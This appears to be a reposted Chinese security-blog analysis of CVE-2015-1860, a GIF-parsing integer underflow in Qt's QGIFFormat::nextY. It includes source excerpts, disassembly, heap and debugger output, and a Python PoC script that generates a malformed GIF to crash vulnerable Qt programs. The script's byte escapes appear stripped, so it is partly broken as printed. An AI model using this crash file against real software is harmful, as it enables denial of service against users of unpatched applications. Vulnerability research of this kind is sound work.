【技术分享】CVE-2015-1860分析:Qt模块处理gif图导致崩溃(附PoC)

admin 2023-12-07 16:43:29 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

http://p8.qhimg.com/t010970fd192d68613e.jpg

作者:simp1e_Pwn

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

漏洞背景

Qt是一个跨平台的图形化界面编程框架,其版本在小于4.8.75.x小于5.4.2解析图片的过程中对于越界检查的处理不当,会导致memcpy的过程中发生越界错误,这个漏洞已经被公开了,但是Qt作为基础库,许多基于Qt的软件并没有更新,同时Qt在跨平台的软件中广泛应用,因此也存在很大风险,同时网络上没有PoC,笔者经过分析写出来PoC


漏洞成因

QGIFFormat::nextY()在处理时,对于越界没有检查,外面被置上了越界标志,内部依然照样运行,这就会出现问题。 代码问题,我们可以对照Qt的code Review来看看。

http://p4.qhimg.com/t01cd4349800c3c64b9.png

最终问题在/src/gui/image/gifhandler.cpp 的QGIFFormat::nextY()的memcpy,这里我们可以控制left,使得right-left 小于0,那么拷贝的时候就可以很大了,但是因为这样拷贝的数据过大,只能导致崩溃,不能利用。

void QGIFFormat::nextY(unsigned char *bits, int bpl)
{
    int my;
    switch (interlace) {my = qMin(7, bottom-y);
// Don't dup with transparency
if (trans_index < 0) {
    for (i=1; i<=my; i++) {
        memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb),
               (right-left+1)*sizeof(QRgb));
    }
}
....

QGIFFormat::nextY()关键处的反汇编代码如下。

.text:68F015EE loc_68F015EE:                           ; CODE XREF: gif_nexty+1EEj
.text:68F015EE                 mov     esi, [eax+60h]  ; left
.text:68F015F1                 lea     ebx, ds:0[esi*4]
.text:68F015F8                 lea     ecx, [edi+edx]
.text:68F015FB                 imul    ecx, [ebp+t_bpl]
.text:68F015FF                 add     ecx, ebx
.text:68F01601                 add     ecx, [ebp+arg_4]
.text:68F01604                 mov     [ebp+var_10], ecx
.text:68F01607                 mov     ecx, [eax+68h]  ; right
.text:68F0160A                 sub     ecx, esi        ; right-left
.text:68F0160C                 lea     ecx, ds:4[ecx*4]
.text:68F01613                 imul    edi, [ebp+t_bpl]
.text:68F01617                 lea     esi, [edi+ebx]
.text:68F0161A                 add     esi, [ebp+arg_4]
.text:68F0161D ; 72:         while ( 1 )
.text:68F0161D                 mov     edi, [ebp+var_10]
.text:68F01620                 rep movsb               ; memcpy

漏洞复现

这里是对gif文件进行的解析,所以我们必须得学习gif的文件格式知识。关于这方面的知识,有很多博客讲解的很详细了,大家可以参考http://blog.csdn.net/wzy198852/article/details/17266507

这里就不再赘述,直接给大家一个和Qt的GIFFormat::decode函数里面的变量对应好的例子吧。

http://p0.qhimg.com/t016f3d6681dbf85f73.png

下面我们先来看源码QGIFFormat::decode()函数中的部分代码。从490行到560行,这里是涉及到调用QGIFFormat::nextY函数的核心代码,中间主要是一段涉及到LZW的解码算法,解码之后得到GlobalColormap中的index,并把这些像素点对应的颜色值复制到bits对应的数组里面去。

if (needfirst) {
    firstcode=oldcode=code;
    if (!out_of_bounds && image->height() > y && ((frame == 0) || (firstcode != trans_index)))
        ((QRgb*)FAST_SCAN_LINE(bits, bpl, y))[x] = color(firstcode);
    x++;
    if (x>=swidth) out_of_bounds = true;
    needfirst=false;
    if (x>=left+width) {
        x=left;
        out_of_bounds = left>=swidth || y>=sheight;
        nextY(bits, bpl);
    }
} else {
    incode=code;
    if (code>=max_code) {
        *sp++=firstcode;
        code=oldcode;
    }
    while (code>=clear_code+2) {
        if (code >= max_code) {
            state = Error;
            return -1;
        }
        *sp++=table[1][code];
        if (code==table[0][code]) {
            state=Error;
            return -1;
        }
        if (sp-stack>=(1<<(max_lzw_bits))*2) {
            state=Error;
            return -1;
        }
        code=table[0][code];
    }
    if (code < 0) {
        state = Error;
        return -1;
    }
    *sp++=firstcode=table[1][code];
    code=max_code;
    if (code<(1<<max_lzw_bits)) {
        table[0][code]=oldcode;
        table[1][code]=firstcode;
        max_code++;
        if ((max_code>=max_code_size)
         && (max_code_size<(1<<max_lzw_bits)))
        {
            max_code_size*=2;
            code_size++;
        }
    }
    oldcode=incode;
    const int h = image->height();
    QRgb *line = 0;
    if (!out_of_bounds && h > y)
        line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y);
    while (sp>stack) {
        const uchar index = *(--sp);
        if (!out_of_bounds && h > y && ((frame == 0) || (index != trans_index))) {
            line[x] = color(index);
        }
        x++;
        if (x>=swidth) out_of_bounds = true;
        if (x>=left+width) {
            x=left;
            out_of_bounds = left>=swidth || y>=sheight;
            nextY(bits, bpl);
            if (!out_of_bounds && h > y)
                line = (QRgb*)FAST_SCAN_LINE(bits, bpl, y);
        }
    }
}

我们来看memcpy里面的各个参数是受到什么影响的

memcpy(FAST_SCAN_LINE(bits, bpl, y+i)+left*sizeof(QRgb), FAST_SCAN_LINE(bits, bpl, y)+left*sizeof(QRgb),
               (right-left+1)*sizeof(QRgb));

#define FAST_SCAN_LINE(bits, bpl, y) (bits + (y) * bpl)//bits 和 bpl的来源
 gifhandler.cpp - line 356
if (image->isNull()) {
    (*image) = QImage(swidth, sheight, format);
    bpl = image->bytesPerLine();
    bits = image->bits();
    memset(bits, 0, image->byteCount());
}
//left 和 right还有y 的来源 gifhandler.cpp line 338,366int newleft=LM(hold[1], hold[2]);
int newtop=LM(hold[3], hold[4]);
left = newleft;
top = newtop;y = top;right=qMax(0, qMin(left+width, swidth)-1);
bottom=qMax(0, qMin(top+height, sheight)-1);

同时还有我们进入memcpy函数外面的对my的判断

my = qMin(7, bottom-y);

这里my也不能小于0,小于0也不会调用memcpy。同时我们为了搞清楚溢出的边界在哪里,我们必须知道分配的堆有多大,我们断在**bits = image ->bits()** 这里immunitydebugger跟入,断点断在0x68f01e9f

http://p8.qhimg.com/t01088f2bd323b83275.png

可以看见这里的eax=0x318ab90

借助mona插件我们得到堆内存的布局如下

0BADF00D       _HEAP_ENTRY  psize   size  unused  UserPtr   UserSize
0BADF00D          0318a830  00070  00028   00018  0318a838  00000010 (16) (Fill pattern,Extra present,Busy)
0BADF00D          0318a858  00028  00118   00018  0318a860  00000100 (256) (Fill pattern,Extra present,Busy)
0BADF00D          0318a970  00118  00218   00018  0318a978  00000200 (512) (Fill pattern,Extra present,Busy)
0BADF00D          0318ab88  00218  002d8   00018  0318ab90  000002c0 (704) (Fill pattern,Extra present,Busy)
0BADF00D          0318ae60  002d8  02400   00000  0318ae68  00002400 (9216) (Fill pattern)
0BADF00D          0318d260  02400  00038   00018  0318d268  00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D          0318d298  00038  00098   00018  0318d2a0  00000080 (128) (Fill pattern,Extra present,Busy)
0BADF00D          0318d330  00098  00058   00018  0318d338  00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D          0318d388  00058  00038   00018  0318d390  00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D          0318d3c0  00038  00050   00018  0318d3c8  00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D          0318d410  00050  00060   00018  0318d418  00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D          0318d470  00060  00060   00018  0318d478  00000048 (72) (Fill pattern,Extra present,Busy)
0BADF00D          0318d4d0  00060  00060   0001c  0318d4d8  00000044 (68) (Fill pattern,Extra present,Busy)
0BADF00D          0318d530  00060  00010   00000  0318d538  00000010 (16) (Fill pattern)
0BADF00D          0318d540  00010  015b0   0001a  0318d548  00001596 (5526) (Fill pattern,Extra present,Busy)
0BADF00D          0318eaf0  015b0  00030   00018  0318eaf8  00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D          0318eb20  00030  00058   00018  0318eb28  00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D          0318eb78  00058  00038   0001a  0318eb80  0000001e (30) (Fill pattern,Extra present,Busy)
0BADF00D          0318ebb0  00038  00030   00018  0318ebb8  00000018 (24) (Fill pattern,Extra present,Busy)
0BADF00D          0318ebe0  00030  00058   00018  0318ebe8  00000040 (64) (Fill pattern,Extra present,Busy)
0BADF00D          0318ec38  00058  00050   00018  0318ec40  00000038 (56) (Fill pattern,Extra present,Busy)
0BADF00D          0318ec88  00050  00088   00018  0318ec90  00000070 (112) (Fill pattern,Extra present,Busy)
0BADF00D          0318ed10  00088  00038   00018  0318ed18  00000020 (32) (Fill pattern,Extra present,Busy)
0BADF00D          0318ed48  00038  10018   00019  0318ed50  0000ffff (65535) (Fill pattern,Extra present,Busy)
0BADF00D          0319ed60  10018  00018   00000  0319ed68  00000018 (24) (Fill pattern)
0BADF00D          0319ed78  00018  04018   00018  0319ed80  00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D          031a2d90  04018  04018   00018  031a2d98  00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D          031a6da8  04018  04018   00018  031a6db0  00004000 (16384) (Fill pattern,Extra present,Busy)
0BADF00D          031aadc0  04018  08018   00018  031aadc8  00008000 (32768) (Fill pattern,Extra present,Busy)
0BADF00D          031b2dd8  08018  21208   00000  031b2de0  00021208 (135688) (Fill pattern)
0BADF00D          031d3fe0  21208  00020   00003  031d3fe8  0000001d (29) (Busy)
0BADF00D          0x031d3ff8 - 0x034f0000 (end of segment) : 0x31c008 (3260424) uncommitted bytes
0BADF00D

我们可以看到大小是0x2c0=(0x10(swidth)*0xb(sheight)*4(sizeof(Qrgb)))。

依据以上的分析,我们可以得出来,如果我们设置top大于sheight的时候,就有导致my小于0,不能执行memcpy,而其他情况下这里的代码可以保证复制的数据不溢出边界,但是如果我将right调整得比left小的话那么就发生了整形溢出,因为memcpy的时候最后一个参数是无符号整数,所以就会变成一个特别大的数字,从而导致复制数据到了不可写的地方导致程序崩溃。我们再来分析这个数字在哪个范围呢?因为的left,width,top的范围都是0~65535所以right最小是0,left最大是65535,(right-left+1)*sizeof(QRgb)(4)=0xFFFC0008,这个时候的memcpy的值是最小的,但是还是太大了,所以导致了崩溃。因而这个漏洞也就是只能够导致dos的,不能够利用。

//断在68f016d
Breakpoint 0 hit
eax=03f2c628 ebx=00000080 ecx=ffffffc0 edx=00000001 esi=03141388 edi=00000000
eip=68f0161d esp=0022cde4 ebp=0022cdf8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
qgif4+0x161d:
68f0161d 8b7df0          mov     edi,dword ptr [ebp-10h] ss:0023:0022cde8=031413c8
0:000> g
(8b4.ab4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03f2c628 ebx=00000080 ecx=fff7c388 edx=00000001 esi=031c4fc0 edi=031c5000
eip=68f01620 esp=0022cde4 ebp=0022cdf8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
qgif4+0x1620:
68f01620 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]


PoC

最后附上PoC,其实这里的PoC就是生成了一个gif文件,任何使用上述有漏洞的Qt版本来处理gif的软件就会发生崩溃。

#!/use/bin/python
#coding:utf-8
import sys
def encode_lzw(stri,lzw_size):
    clear_code=1 << lzw_size
    end_code = clear_code+1
    entry,head,tail=0,0,0
    dit={}
    outp=[]
    ll=len(stri)
    head=stri[0]
    cur_code=end_code+1
    for i in xrange(1,ll):
        tail=stri[i]
        kk=(head,tail)
        if dit.has_key(kk):
            #如果在表里面的话
            head=dit[kk]
            continue
        else:
            outp.append(head)
            dit[kk]=cur_code
            print 'key:%s value:%s'%(kk,cur_code)
            cur_code+=1
            head=tail
            continue
    return outp
import struct
import math
if __name__ == "__main__":
    header='GIF89a'
    my_wdith=0x1
    my_height=0xb
    my_color_count=32
    swdith=struct.pack('H',my_wdith)
    sheight=struct.pack('H',my_height)
    scode= struct.pack('B',0xc0+( int( math.log(my_color_count,2))-1 )) +'x00'+'x00'
    color_map=''
    for i in xrange(my_color_count):
        color_map+=struct.pack('bbb',i,i,i)
    introducer='x21xf9'
    graphicControlExtension='x04'+'x00'*4
    skip='x00x2c'
    left=struct.pack('H',0xffff)
    top=struct.pack('H',0)
    width=struct.pack('H',0x10)
    height=struct.pack('H',0xB)
    flg=struct.pack('B',0x40)
    lzwsize=struct.pack('B',0x5)
    datablocksize=struct.pack('B',0x81)
    plain=''
    for i in xrange(26):
        plain += chr(ord('A')+i) *8
    plain =plain+'A'*20+'BCDEFGHIJK'*2+'CCC'+'KJUI'
    print plain
    enc=  encode_lzw(plain,5)
    datablock=''
    for i in enc:
        if type(i)==str:
            datablock+=struct.pack('B',ord(i)-ord('A'))
        else :
            datablock+=struct.pack('B',i)
    print datablock
    eof='x21x00x3b'
    fp=open('1.gif','wb')
    bin_data=header+swdith+sheight+scode+color_map+introducer+graphicControlExtension
    bin_data+=skip+left+top+width+height+flg+lzwsize +datablocksize+datablock+eof
    fp.write(bin_data)
    fp.close()
weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0